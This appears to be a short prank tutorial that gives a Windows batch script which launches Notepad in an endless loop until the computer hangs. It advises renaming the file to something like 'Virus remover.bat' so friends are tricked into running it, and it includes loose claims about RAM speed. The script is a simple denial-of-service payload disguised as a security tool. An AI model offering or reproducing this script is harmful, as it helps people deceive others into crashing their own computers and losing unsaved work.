Open notepad non-stop

1.open notepad

2.write this code

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

3.Save as Notepad in .bat file. Example:  LOL.bat

note: You can trick your friends with this. You just need to change it name like Virus remover.bat.
            When the notepad has been open the computer will be hang.you just need to restart your computer.
             There is some computer will not been be hang because of his computer ram speed.